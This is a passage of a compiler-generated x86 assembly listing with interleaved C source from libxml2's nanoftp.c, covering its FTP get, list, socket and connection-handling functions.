call DWORD PTR __imp__select@20
; 1923 : if (res < 0) {
test eax, eax
js $LN27@xmlNanoFTP
; 1924 : #ifdef DEBUG_FTP
; 1925 : perror("select");
; 1926 : #endif
; 1927 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1928 : return(-1);
; 1929 : }
; 1930 : if (res == 0) {
jne SHORT $LN19@xmlNanoFTP
; 1931 : res = xmlNanoFTPCheckResponse(ctxt);
push esi
call _xmlNanoFTPCheckResponse
add esp, 4
; 1932 : if (res < 0) {
test eax, eax
js $LN27@xmlNanoFTP
; 1933 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1934 : ctxt->dataFd = INVALID_SOCKET;
; 1935 : return(-1);
; 1936 : }
; 1937 : if (res == 2) {
cmp eax, 2
jne SHORT $LN2@xmlNanoFTP
; 1938 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push DWORD PTR [esi+48]
call DWORD PTR __imp__closesocket@4
pop edi
mov DWORD PTR [esi+48], -1
; 1939 : return(0);
xor eax, eax
; 1954 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN19@xmlNanoFTP:
; 1940 : }
; 1941 :
; 1942 : continue;
; 1943 : }
; 1944 : if ((len = recv(ctxt->dataFd, buf, sizeof(buf), 0)) < 0) {
push 0
push 4096 ; 00001000H
lea eax, DWORD PTR _buf$[ebp]
push eax
push DWORD PTR [esi+48]
call DWORD PTR __imp__recv@16
mov edi, eax
test edi, edi
js SHORT $LN31@xmlNanoFTP
; 1947 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1948 : return(-1);
; 1949 : }
; 1950 : callback(userData, buf, len);
push edi
lea eax, DWORD PTR _buf$[ebp]
push eax
push DWORD PTR _userData$[ebp]
call ebx
add esp, 12 ; 0000000cH
$LN2@xmlNanoFTP:
; 1951 : } while (len != 0);
test edi, edi
jne $LL4@xmlNanoFTP
; 1952 :
; 1953 : return(xmlNanoFTPCloseConnection(ctxt));
push esi
call _xmlNanoFTPCloseConnection
add esp, 4
pop edi
; 1954 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN31@xmlNanoFTP:
; 1945 : __xmlIOErr(XML_FROM_FTP, 0, "recv failed");
push OFFSET ??_C@_0M@KMFGCEDE@recv?5failed@
push 0
push 9
call ___xmlIOErr
; 1946 : callback(userData, buf, len);
push edi
lea eax, DWORD PTR _buf$[ebp]
push eax
push DWORD PTR _userData$[ebp]
call ebx
add esp, 24 ; 00000018H
$LN27@xmlNanoFTP:
; 1954 : }
push DWORD PTR [esi+48]
call DWORD PTR __imp__closesocket@4
mov DWORD PTR [esi+48], -1
$LN41@xmlNanoFTP:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPGet ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPGetSocket
_TEXT SEGMENT
_buf$ = -300 ; size = 300
_ctx$ = 8 ; size = 4
_filename$ = 12 ; size = 4
_xmlNanoFTPGetSocket PROC ; COMDAT
; 1836 : xmlNanoFTPGetSocket(void *ctx, const char *filename) {
push ebp
mov ebp, esp
sub esp, 300 ; 0000012cH
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN14@xmlNanoFTP
; 1837 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1838 : char buf[300];
; 1839 : int res, len;
; 1840 : if (ctx == NULL)
; 1841 : return INVALID_SOCKET;
; 1842 : if ((filename == NULL) && (ctxt->path == NULL))
mov edi, DWORD PTR _filename$[ebp]
test edi, edi
jne SHORT $LN13@xmlNanoFTP
cmp DWORD PTR [esi+12], edi
je SHORT $LN14@xmlNanoFTP
$LN13@xmlNanoFTP:
; 1843 : return INVALID_SOCKET;
; 1844 : ctxt->dataFd = xmlNanoFTPGetConnection(ctxt);
push esi
call _xmlNanoFTPGetConnection
add esp, 4
mov DWORD PTR [esi+48], eax
; 1845 : if (ctxt->dataFd == INVALID_SOCKET)
cmp eax, -1
je SHORT $LN14@xmlNanoFTP
; 1846 : return INVALID_SOCKET;
; 1847 :
; 1848 : snprintf(buf, sizeof(buf), "TYPE I\r\n");
push OFFSET ??_C@_08NFILCCME@TYPE?5I?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 300 ; 0000012cH
push eax
call _snprintf
; 1849 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
add esp, 12 ; 0000000cH
lea edx, DWORD PTR [ecx+1]
npad 1
$LL15@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL15@xmlNanoFTP
; 1850 : #ifdef DEBUG_FTP
; 1851 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1852 : #endif
; 1853 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
; 1854 : if (res < 0) {
test eax, eax
jns SHORT $LN5@xmlNanoFTP
$LN18@xmlNanoFTP:
; 1885 : }
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
$LN17@xmlNanoFTP:
push DWORD PTR [esi+48]
$LN19@xmlNanoFTP:
call DWORD PTR __imp__closesocket@4
mov DWORD PTR [esi+48], -1
$LN14@xmlNanoFTP:
pop edi
or eax, -1
pop esi
mov esp, ebp
pop ebp
ret 0
$LN5@xmlNanoFTP:
; 1855 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1856 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1857 : return INVALID_SOCKET;
; 1858 : }
; 1859 : res = xmlNanoFTPReadResponse(ctxt);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1860 : if (res != 2) {
cmp eax, 2
jne SHORT $LN17@xmlNanoFTP
; 1861 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1862 : return INVALID_SOCKET;
; 1863 : }
; 1864 : if (filename == NULL)
test edi, edi
jne SHORT $LN7@xmlNanoFTP
; 1865 : snprintf(buf, sizeof(buf), "RETR %s\r\n", ctxt->path);
mov edi, DWORD PTR [esi+12]
$LN7@xmlNanoFTP:
; 1866 : else
; 1867 : snprintf(buf, sizeof(buf), "RETR %s\r\n", filename);
; 1868 : buf[sizeof(buf) - 1] = 0;
push edi
push OFFSET ??_C@_09NFIHFDPP@RETR?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 300 ; 0000012cH
push eax
call _snprintf
; 1869 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
mov BYTE PTR _buf$[ebp+299], 0
add esp, 16 ; 00000010H
lea edx, DWORD PTR [ecx+1]
$LL16@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL16@xmlNanoFTP
; 1870 : #ifdef DEBUG_FTP
; 1871 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1872 : #endif
; 1873 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
; 1874 : if (res < 0) {
test eax, eax
js $LN18@xmlNanoFTP
; 1875 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1876 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1877 : return INVALID_SOCKET;
; 1878 : }
; 1879 : res = xmlNanoFTPReadResponse(ctxt);
push esi
call _xmlNanoFTPReadResponse
mov ecx, DWORD PTR [esi+48]
add esp, 4
; 1880 : if (res != 1) {
cmp eax, 1
je SHORT $LN10@xmlNanoFTP
; 1881 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push ecx
; 1882 : return INVALID_SOCKET;
jmp $LN19@xmlNanoFTP
$LN10@xmlNanoFTP:
pop edi
; 1883 : }
; 1884 : return(ctxt->dataFd);
mov eax, ecx
; 1885 : }
pop esi
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPGetSocket ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPList
_TEXT SEGMENT
_buf$ = -4628 ; size = 4097
_rfd$ = -528 ; size = 260
_efd$ = -268 ; size = 260
_tv$ = -8 ; size = 8
_res$2$ = 8 ; size = 4
_res$1$ = 8 ; size = 4
_indx$1$ = 8 ; size = 4
_ctx$ = 8 ; size = 4
_callback$ = 12 ; size = 4
_userData$ = 16 ; size = 4
_filename$ = 20 ; size = 4
_xmlNanoFTPList PROC ; COMDAT
; 1727 : const char *filename) {
push ebp
mov ebp, esp
mov eax, 4628 ; 00001214H
call __chkstk
push ebx
push esi
push edi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _ctx$[ebp]
xor esi, esi
test edi, edi
je $LN73@xmlNanoFTP
; 1728 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1729 : char buf[4096 + 1];
; 1730 : int len, res;
; 1731 : int indx = 0, base;
; 1732 : fd_set rfd, efd;
; 1733 : struct timeval tv;
; 1734 :
; 1735 : if (ctxt == NULL) return (-1);
; 1736 : if (filename == NULL) {
mov ebx, DWORD PTR _filename$[ebp]
test ebx, ebx
jne SHORT $LN21@xmlNanoFTP
; 1737 : if (xmlNanoFTPCwd(ctxt, ctxt->path) < 1)
push DWORD PTR [edi+12]
push edi
call _xmlNanoFTPCwd
add esp, 8
cmp eax, 1
jl $LN73@xmlNanoFTP
; 1738 : return(-1);
; 1739 : ctxt->dataFd = xmlNanoFTPGetConnection(ctxt);
push edi
call _xmlNanoFTPGetConnection
add esp, 4
mov DWORD PTR [edi+48], eax
; 1740 : if (ctxt->dataFd == INVALID_SOCKET)
cmp eax, -1
je $LN73@xmlNanoFTP
; 1741 : return(-1);
; 1742 : snprintf(buf, sizeof(buf), "LIST -L\r\n");
push OFFSET ??_C@_09PLPJIOKF@LIST?5?9L?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 4097 ; 00001001H
push eax
call _snprintf
add esp, 12 ; 0000000cH
; 1743 : } else {
jmp SHORT $LN22@xmlNanoFTP
$LN21@xmlNanoFTP:
; 1744 : if (filename[0] != '/') {
cmp BYTE PTR [ebx], 47 ; 0000002fH
je SHORT $LN26@xmlNanoFTP
; 1745 : if (xmlNanoFTPCwd(ctxt, ctxt->path) < 1)
push DWORD PTR [edi+12]
push edi
call _xmlNanoFTPCwd
add esp, 8
cmp eax, 1
jl $LN73@xmlNanoFTP
$LN26@xmlNanoFTP:
; 1746 : return(-1);
; 1747 : }
; 1748 : ctxt->dataFd = xmlNanoFTPGetConnection(ctxt);
push edi
call _xmlNanoFTPGetConnection
add esp, 4
mov DWORD PTR [edi+48], eax
; 1749 : if (ctxt->dataFd == INVALID_SOCKET)
cmp eax, -1
je $LN73@xmlNanoFTP
; 1750 : return(-1);
; 1751 : snprintf(buf, sizeof(buf), "LIST -L %s\r\n", filename);
push ebx
push OFFSET ??_C@_0N@MNMMLKJL@LIST?5?9L?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 4097 ; 00001001H
push eax
call _snprintf
add esp, 16 ; 00000010H
$LN22@xmlNanoFTP:
; 1752 : }
; 1753 : buf[sizeof(buf) - 1] = 0;
; 1754 : len = strlen(buf);
lea ebx, DWORD PTR _buf$[ebp]
mov BYTE PTR _buf$[ebp+4096], 0
lea ecx, DWORD PTR [ebx+1]
npad 4
$LL78@xmlNanoFTP:
mov al, BYTE PTR [ebx]
inc ebx
test al, al
jne SHORT $LL78@xmlNanoFTP
; 1755 : #ifdef DEBUG_FTP
; 1756 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1757 : #endif
; 1758 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ebx, ecx
lea eax, DWORD PTR _buf$[ebp]
push ebx
push eax
push DWORD PTR [edi+44]
call DWORD PTR __imp__send@16
mov DWORD PTR _res$1$[ebp], eax
; 1759 : if (res < 0) {
test eax, eax
jns SHORT $LN28@xmlNanoFTP
; 1760 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1761 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push DWORD PTR [edi+48]
call DWORD PTR __imp__closesocket@4
; 1762 : return(res);
mov eax, DWORD PTR _res$1$[ebp]
mov DWORD PTR [edi+48], -1
pop edi
; 1822 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN28@xmlNanoFTP:
; 1763 : }
; 1764 : res = xmlNanoFTPReadResponse(ctxt);
push edi
call _xmlNanoFTPReadResponse
add esp, 4
mov DWORD PTR _res$2$[ebp], eax
; 1765 : if (res != 1) {
cmp eax, 1
je SHORT $LL4@xmlNanoFTP
; 1766 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push DWORD PTR [edi+48]
call DWORD PTR __imp__closesocket@4
; 1767 : return(-res);
mov eax, DWORD PTR _res$2$[ebp]
mov DWORD PTR [edi+48], -1
neg eax
pop edi
; 1822 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
npad 5
$LL4@xmlNanoFTP:
; 1768 : }
; 1769 :
; 1770 : do {
; 1771 : tv.tv_sec = 1;
; 1772 : tv.tv_usec = 0;
; 1773 : FD_ZERO(&rfd);
; 1774 : FD_SET(ctxt->dataFd, &rfd);
mov eax, DWORD PTR [edi+48]
; 1775 : FD_ZERO(&efd);
; 1776 : FD_SET(ctxt->dataFd, &efd);
; 1777 : res = select(ctxt->dataFd + 1, &rfd, NULL, &efd, &tv);
lea ecx, DWORD PTR _tv$[ebp]
push ecx
lea ecx, DWORD PTR _efd$[ebp]
mov DWORD PTR _rfd$[ebp+4], eax
push ecx
push 0
lea ecx, DWORD PTR _rfd$[ebp]
mov DWORD PTR _efd$[ebp+4], eax
push ecx
inc eax
mov DWORD PTR _tv$[ebp], 1
push eax
mov DWORD PTR _tv$[ebp+4], 0
mov DWORD PTR _rfd$[ebp], 1
mov DWORD PTR _efd$[ebp], 1
call DWORD PTR __imp__select@20
; 1778 : if (res < 0) {
test eax, eax
js $LN48@xmlNanoFTP
; 1779 : #ifdef DEBUG_FTP
; 1780 : perror("select");
; 1781 : #endif
; 1782 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1783 : return(-1);
; 1784 : }
; 1785 : if (res == 0) {
jne SHORT $LN37@xmlNanoFTP
; 1786 : res = xmlNanoFTPCheckResponse(ctxt);
push edi
call _xmlNanoFTPCheckResponse
add esp, 4
; 1787 : if (res < 0) {
test eax, eax
js $LN48@xmlNanoFTP
; 1788 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1789 : ctxt->dataFd = INVALID_SOCKET;
; 1790 : return(-1);
; 1791 : }
; 1792 : if (res == 2) {
cmp eax, 2
jne $LN2@xmlNanoFTP
; 1793 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push DWORD PTR [edi+48]
call DWORD PTR __imp__closesocket@4
mov DWORD PTR [edi+48], -1
; 1794 : return(0);
xor eax, eax
pop edi
; 1822 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN37@xmlNanoFTP:
; 1795 : }
; 1796 :
; 1797 : continue;
; 1798 : }
; 1799 :
; 1800 : if ((len = recv(ctxt->dataFd, &buf[indx], sizeof(buf) - (indx + 1), 0)) < 0) {
push 0
mov eax, 4096 ; 00001000H
sub eax, esi
push eax
lea eax, DWORD PTR _buf$[ebp]
add eax, esi
push eax
push DWORD PTR [edi+48]
call DWORD PTR __imp__recv@16
mov ebx, eax
test ebx, ebx
js SHORT $LN52@xmlNanoFTP
; 1802 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1803 : ctxt->dataFd = INVALID_SOCKET;
; 1804 : return(-1);
; 1805 : }
; 1806 : #ifdef DEBUG_FTP
; 1807 : write(1, &buf[indx], len);
; 1808 : #endif
; 1809 : indx += len;
add esi, ebx
mov DWORD PTR _indx$1$[ebp], esi
; 1810 : buf[indx] = 0;
mov BYTE PTR _buf$[ebp+esi], 0
; 1811 : base = 0;
xor esi, esi
npad 5
$LL19@xmlNanoFTP:
; 1812 : do {
; 1813 : res = xmlNanoFTPParseList(&buf[base], callback, userData);
push DWORD PTR _userData$[ebp]
lea eax, DWORD PTR _buf$[ebp]
push DWORD PTR _callback$[ebp]
add eax, esi
push eax
call _xmlNanoFTPParseList
add esp, 12 ; 0000000cH
; 1814 : base += res;
add esi, eax
; 1815 : } while (res > 0);
test eax, eax
jg SHORT $LL19@xmlNanoFTP
; 1816 :
; 1817 : memmove(&buf[0], &buf[base], indx - base);
mov eax, DWORD PTR _indx$1$[ebp]
sub eax, esi
push eax
mov DWORD PTR _indx$1$[ebp], eax
lea eax, DWORD PTR _buf$[ebp]
add eax, esi
push eax
lea eax, DWORD PTR _buf$[ebp]
push eax
call _memmove
mov esi, DWORD PTR _indx$1$[ebp]
add esp, 12 ; 0000000cH
$LN2@xmlNanoFTP:
; 1818 : indx -= base;
; 1819 : } while (len != 0);
test ebx, ebx
jne $LL4@xmlNanoFTP
; 1820 : xmlNanoFTPCloseConnection(ctxt);
push edi
call _xmlNanoFTPCloseConnection
add esp, 4
; 1821 : return(0);
xor eax, eax
pop edi
; 1822 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN52@xmlNanoFTP:
; 1801 : __xmlIOErr(XML_FROM_FTP, 0, "recv");
push OFFSET ??_C@_04IFMDBHHF@recv@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
$LN48@xmlNanoFTP:
; 1822 : }
push DWORD PTR [edi+48]
call DWORD PTR __imp__closesocket@4
mov DWORD PTR [edi+48], -1
$LN73@xmlNanoFTP:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPList ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPCloseConnection
_TEXT SEGMENT
_rfd$ = -528 ; size = 260
_efd$ = -268 ; size = 260
_tv$ = -8 ; size = 8
_ctx$ = 8 ; size = 4
_xmlNanoFTPCloseConnection PROC ; COMDAT
; 1547 : xmlNanoFTPCloseConnection(void *ctx) {
push ebp
mov ebp, esp
sub esp, 528 ; 00000210H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN15@xmlNanoFTP
; 1548 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1549 : int res;
; 1550 : fd_set rfd, efd;
; 1551 : struct timeval tv;
; 1552 :
; 1553 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
cmp DWORD PTR [esi+44], -1
je $LN15@xmlNanoFTP
; 1554 :
; 1555 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push edi
push DWORD PTR [esi+48]
mov edi, DWORD PTR __imp__closesocket@4
call edi
; 1556 : tv.tv_sec = 15;
; 1557 : tv.tv_usec = 0;
; 1558 : FD_ZERO(&rfd);
; 1559 : FD_SET(ctxt->controlFd, &rfd);
mov eax, DWORD PTR [esi+44]
; 1560 : FD_ZERO(&efd);
; 1561 : FD_SET(ctxt->controlFd, &efd);
; 1562 : res = select(ctxt->controlFd + 1, &rfd, NULL, &efd, &tv);
lea ecx, DWORD PTR _tv$[ebp]
push ecx
lea ecx, DWORD PTR _efd$[ebp]
mov DWORD PTR _rfd$[ebp+4], eax
push ecx
push 0
lea ecx, DWORD PTR _rfd$[ebp]
mov DWORD PTR _efd$[ebp+4], eax
push ecx
inc eax
mov DWORD PTR [esi+48], -1
push eax
mov DWORD PTR _tv$[ebp], 15 ; 0000000fH
mov DWORD PTR _tv$[ebp+4], 0
mov DWORD PTR _rfd$[ebp], 1
mov DWORD PTR _efd$[ebp], 1
call DWORD PTR __imp__select@20
; 1563 : if (res < 0) {
test eax, eax
js SHORT $LN45@xmlNanoFTP
; 1564 : #ifdef DEBUG_FTP
; 1565 : perror("select");
; 1566 : #endif
; 1567 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1568 : return(-1);
; 1569 : }
; 1570 : if (res == 0) {
jne SHORT $LN23@xmlNanoFTP
; 1571 : #ifdef DEBUG_FTP
; 1572 : xmlGenericError(xmlGenericErrorContext,
; 1573 : "xmlNanoFTPCloseConnection: timeout\n");
; 1574 : #endif
; 1575 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
push DWORD PTR [esi+44]
call edi
mov DWORD PTR [esi+44], -1
$LN25@xmlNanoFTP:
; 1581 : }
; 1582 : }
; 1583 : return(0);
pop edi
xor eax, eax
pop esi
; 1584 : }
mov esp, ebp
pop ebp
ret 0
$LN23@xmlNanoFTP:
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1576 : } else {
; 1577 : res = xmlNanoFTPGetResponse(ctxt);
; 1578 : if (res != 2) {
cmp eax, 2
je SHORT $LN25@xmlNanoFTP
$LN45@xmlNanoFTP:
; 1579 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
push DWORD PTR [esi+44]
call edi
pop edi
mov DWORD PTR [esi+44], -1
; 1580 : return(-1);
or eax, -1
pop esi
; 1584 : }
mov esp, ebp
pop ebp
ret 0
$LN15@xmlNanoFTP:
; 1548 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1549 : int res;
; 1550 : fd_set rfd, efd;
; 1551 : struct timeval tv;
; 1552 :
; 1553 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
or eax, -1
pop esi
; 1584 : }
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPCloseConnection ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPGetConnection
_TEXT SEGMENT
_buf$ = -252 ; size = 200
_temp$ = -52 ; size = 24
_dataAddr$ = -28 ; size = 16
_dataAddrLen$ = -12 ; size = 4
_ad$ = -8 ; size = 6
_ctx$ = 8 ; size = 4
_xmlNanoFTPGetConnection PROC ; COMDAT
; 1374 : xmlNanoFTPGetConnection(void *ctx) {
push ebp
mov ebp, esp
sub esp, 252 ; 000000fcH
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN17@xmlNanoFTP
; 1375 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1376 : char buf[200], *cur;
; 1377 : int len, i;
; 1378 : int res;
; 1379 : unsigned char ad[6], *adp, *portp;
; 1380 : unsigned int temp[6];
; 1381 : #ifdef SUPPORT_IP6
; 1382 : struct sockaddr_storage dataAddr;
; 1383 : #else
; 1384 : struct sockaddr_in dataAddr;
; 1385 : #endif
; 1386 : XML_SOCKLEN_T dataAddrLen;
; 1387 :
; 1388 : if (ctxt == NULL) return INVALID_SOCKET;
; 1389 :
; 1390 : memset (&dataAddr, 0, sizeof(dataAddr));
; 1391 : #ifdef SUPPORT_IP6
; 1392 : if ((ctxt->ftpAddr).ss_family == AF_INET6) {
; 1393 : ctxt->dataFd = socket (AF_INET6, SOCK_STREAM, IPPROTO_TCP);
; 1394 : ((struct sockaddr_in6 *)&dataAddr)->sin6_family = AF_INET6;
; 1395 : dataAddrLen = sizeof(struct sockaddr_in6);
; 1396 : } else
; 1397 : #endif
; 1398 : {
; 1399 : ctxt->dataFd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
push 6
push 1
xorps xmm0, xmm0
push 2
movups XMMWORD PTR _dataAddr$[ebp], xmm0
call DWORD PTR __imp__socket@12
mov DWORD PTR [esi+48], eax
; 1400 : ((struct sockaddr_in *)&dataAddr)->sin_family = AF_INET;
mov ecx, 2
mov WORD PTR _dataAddr$[ebp], cx
; 1401 : dataAddrLen = sizeof (struct sockaddr_in);
mov DWORD PTR _dataAddrLen$[ebp], 16 ; 00000010H
; 1402 : }
; 1403 :
; 1404 : if (ctxt->dataFd == INVALID_SOCKET) {
cmp eax, -1
jne SHORT $LN8@xmlNanoFTP
; 1405 : __xmlIOErr(XML_FROM_FTP, 0, "socket failed");
push OFFSET ??_C@_0O@FPJGNADN@socket?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1534 :
; 1535 : }
or eax, -1
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0
$LN8@xmlNanoFTP:
; 1406 : return INVALID_SOCKET;
; 1407 : }
; 1408 :
; 1409 : if (ctxt->passive) {
cmp DWORD PTR [esi+40], 0
je $LN9@xmlNanoFTP
; 1410 : #ifdef SUPPORT_IP6
; 1411 : if ((ctxt->ftpAddr).ss_family == AF_INET6)
; 1412 : snprintf (buf, sizeof(buf), "EPSV\r\n");
; 1413 : else
; 1414 : #endif
; 1415 : snprintf (buf, sizeof(buf), "PASV\r\n");
push OFFSET ??_C@_06OGKAIOED@PASV?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
; 1416 : len = strlen (buf);
lea ecx, DWORD PTR _buf$[ebp]
add esp, 12 ; 0000000cH
lea edx, DWORD PTR [ecx+1]
$LL41@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL41@xmlNanoFTP
; 1417 : #ifdef DEBUG_FTP
; 1418 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1419 : #endif
; 1420 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
; 1421 : if (res < 0) {
test eax, eax
jns SHORT $LN11@xmlNanoFTP
$LN45@xmlNanoFTP:
; 1534 :
; 1535 : }
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
$LN44@xmlNanoFTP:
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
$LN46@xmlNanoFTP:
push DWORD PTR [esi+48]
$LN43@xmlNanoFTP:
call DWORD PTR __imp__closesocket@4
pop edi
mov DWORD PTR [esi+48], -1
or eax, -1
pop esi
mov esp, ebp
pop ebp
ret 0
$LN11@xmlNanoFTP:
; 1422 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1423 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1424 : return INVALID_SOCKET;
; 1425 : }
; 1426 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
; 1427 : if (res != 2) {
mov edi, DWORD PTR __imp__closesocket@4
add esp, 4
cmp eax, 2
je SHORT $LN40@xmlNanoFTP
; 1428 : if (res == 5) {
mov ecx, DWORD PTR [esi+48]
push ecx
cmp eax, 5
je SHORT $LN43@xmlNanoFTP
; 1429 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1430 : return INVALID_SOCKET;
; 1431 : } else {
; 1432 : /*
; 1433 : * retry with an active connection
; 1434 : */
; 1435 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
call edi
mov DWORD PTR [esi+48], -1
; 1436 : ctxt->passive = 0;
mov DWORD PTR [esi+40], 0
$LN40@xmlNanoFTP:
; 1437 : }
; 1438 : }
; 1439 : cur = &ctxt->controlBuf[ctxt->controlBufAnswer];
mov eax, DWORD PTR [esi+1096]
lea ecx, DWORD PTR [esi+60]
add ecx, eax
$LL2@xmlNanoFTP:
; 1440 : while (((*cur < '0') || (*cur > '9')) && *cur != '\0') cur++;
mov al, BYTE PTR [ecx]
cmp al, 48 ; 00000030H
jl SHORT $LN15@xmlNanoFTP
cmp al, 57 ; 00000039H
jle SHORT $LN3@xmlNanoFTP
$LN15@xmlNanoFTP:
test al, al
je SHORT $LN3@xmlNanoFTP
inc ecx
jmp SHORT $LL2@xmlNanoFTP
$LN3@xmlNanoFTP:
; 1441 : #ifdef SUPPORT_IP6
; 1442 : if ((ctxt->ftpAddr).ss_family == AF_INET6) {
; 1443 : if (sscanf (cur, "%u", &temp[0]) != 1) {
; 1444 : __xmlIOErr(XML_FROM_FTP, XML_FTP_EPSV_ANSWER,
; 1445 : "Invalid answer to EPSV\n");
; 1446 : if (ctxt->dataFd != INVALID_SOCKET) {
